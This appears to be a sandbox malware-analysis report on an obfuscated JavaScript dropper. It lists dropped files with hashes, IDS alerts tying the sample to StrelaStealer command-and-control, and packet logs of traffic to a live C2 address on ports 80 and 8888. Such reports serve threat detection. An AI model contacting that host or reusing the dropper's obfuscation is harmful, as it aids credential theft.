SHA-256:	6519AF5643370097DC68A75C7DC8FC39C33E3C96828BBBC08F5D82846D3D3801
SHA-512:	FA9BF09ACBA01DB333333560DF2902F377130B937DC13CC0CEE22FAEF401E3B802DB84782E492E7B102287B6006E6E5AA913948FC19D572545A73F5FC8B263E0
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0459399f-207d-42a7-b3fa-eb5e46c72158.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7YYIGNPpe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZ4
MD5:	C57D91A805775D5A645457EBBB9EAF26
SHA1:	D407ABE7E7C9A9C78346CA781EB1B77E61060250
SHA-256:	149A8DA0889E336CBA0CF06D34DDA729E69CA491E8B8FCEDD6C0DD5647BB6D43
SHA-512:	1E7C93F0702D97F4E911C3EA029E599CF93BBA9C17156D95F1B301CA53C643F55582105E86572550C02E549A58841EEA64E038B7858703AF5453F1A37B1F3C29
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\356ce006-eacd-4fc6-8dcf-1a4464d8119d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5c2cfec4-33dd-4c5f-8de2-1abdebe2ccd0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfAdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JaWLxywZG6GZQ3mlind9i4ufFXpAXkrj
MD5:	29B77BBEB7C09D8F21DBF9BD00546ACE
SHA1:	CF2EA72A72EF673BECC40678E8979688F5567CF7
SHA-256:	2E1B37FF19A2511AA5EE2F42AF39471FB6F9E2DDE72577B3632522DA86686DF6
SHA-512:	F63D938D53479ABC65072C1905056867D0EB800B741F73C2091FB89ACDE64AC0F2450A9A03514123CC9436ADC4CCC3B718CCAB203DF98A7D2A165B57B00698F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5dc17054-1dae-4b97-b62a-87855fc05ecb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15825), with CRLF line terminators
Entropy (8bit):	4.910163134768069
TrID:
File name:	1231561673271419181.js
File size:	19'445 bytes
MD5:	8780a51f4cdd149465b5360bcef8a9a1
SHA1:	06e48cdffda1139c78ddc6b9bfc6b311f46d7533
SHA256:	2ab0a16ca48722913c840268528a97fe963242150cc28c541cf681f64ac84f18
SHA512:	a2256bc503258c71a313406d5c35942dec70fe0788adddf23b4e855479986bafd1e75b54764f422349f32f58664bced2e32f8bd71bf28d50dad6589fd927ed5a
SSDEEP:	384:xkTW/IoWmIxIpBytJx0FLKxAD4dzLJSmi3XSg8KqSIQdpCoSX/koKLL4twzfiBtF:xkTW/IoWmIxIpBytj0LKk4dzLJSmi3X2
TLSH:	989212ED5A04EDC24DF4037518572CF1AF5A402CC1FAD50B34E37ACA5A16B249AF6CB6
File Content Preview:	function fdfbt(){qdritii=[1031,3079,5127,4103,2055,3072];var tjjvzogl=this[gslacw+ekxayslld+xlhaizgdi+yochuo+mzgmckxhp+qbdqa+cdtxzn+ahialzh](this[jwujdef+jcsac+uflnkgvd+xlhaizgdi+euxckwhs+gslacw+ahialzh][lqrykenq+xlhaizgdi+mzgmckxhp+ekxayslld+ahialzh+mzgm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:08:29.831939+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49701	193.143.1.205	80	TCP
2025-01-11T03:08:29.831939+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49701	193.143.1.205	80	TCP
2025-01-11T03:08:33.184285+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:08:29.024672985 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.029541969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.029639959 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.035224915 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.040194035 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.831861019 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.831892014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.831908941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.831938982 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.831958055 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.831974030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.832003117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.832067966 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.832084894 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.832109928 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.832192898 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.832207918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.832223892 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.832237005 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.832257986 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.836736917 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.836776972 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.836790085 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.836815119 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.883903980 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.886770010 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.886786938 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.886833906 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.957063913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957082987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957099915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957128048 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.957163095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957179070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957195044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957201004 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.957231998 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.957720041 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957736015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957751036 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.957775116 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.958066940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958103895 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.958131075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958156109 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958188057 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.958237886 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958254099 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958291054 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.958914042 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958940983 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958956957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.958981991 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.959125996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.959141016 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.959166050 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.959745884 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.959773064 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.959789038 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:29.959794044 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.959845066 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:29.959929943 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.012398958 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.019371033 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.074884892 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.088557005 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.088599920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.088614941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.088640928 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.091612101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091628075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091644049 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091656923 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.091676950 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.091677904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091692924 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091727018 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.091892004 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091953039 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091969013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.091989994 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.092228889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092263937 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.092289925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092305899 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092360973 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.092407942 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092423916 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092463970 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.092818022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092855930 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092871904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.092888117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.093005896 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093023062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093040943 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.093434095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093477011 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.093477964 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093493938 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093525887 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.093600988 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093616962 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093633890 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093657017 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.093709946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.093766928 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.094387054 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.094413996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.094429970 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.094451904 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.094564915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.094587088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.094600916 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.094603062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.094619989 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.094635963 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.095324993 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.095351934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.095364094 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.095370054 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.095406055 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.095468044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.095484972 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.095524073 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.095529079 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.106235981 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.106254101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.106276035 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.151339054 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.175431967 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.175515890 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.175534010 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.175549030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.175558090 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.175585985 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.179119110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.179155111 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.179171085 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.179187059 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.179253101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.179286957 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.213485003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.213574886 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.213625908 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.213634968 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.213665962 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.213705063 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.213740110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.213774920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.213809013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.213810921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.216660976 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.216708899 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.216727018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.216763020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.216820002 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.216845036 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.216880083 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.216914892 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.216968060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.216996908 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217032909 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.217050076 CET	80	49701	193.143.1.205	192.168.2.7
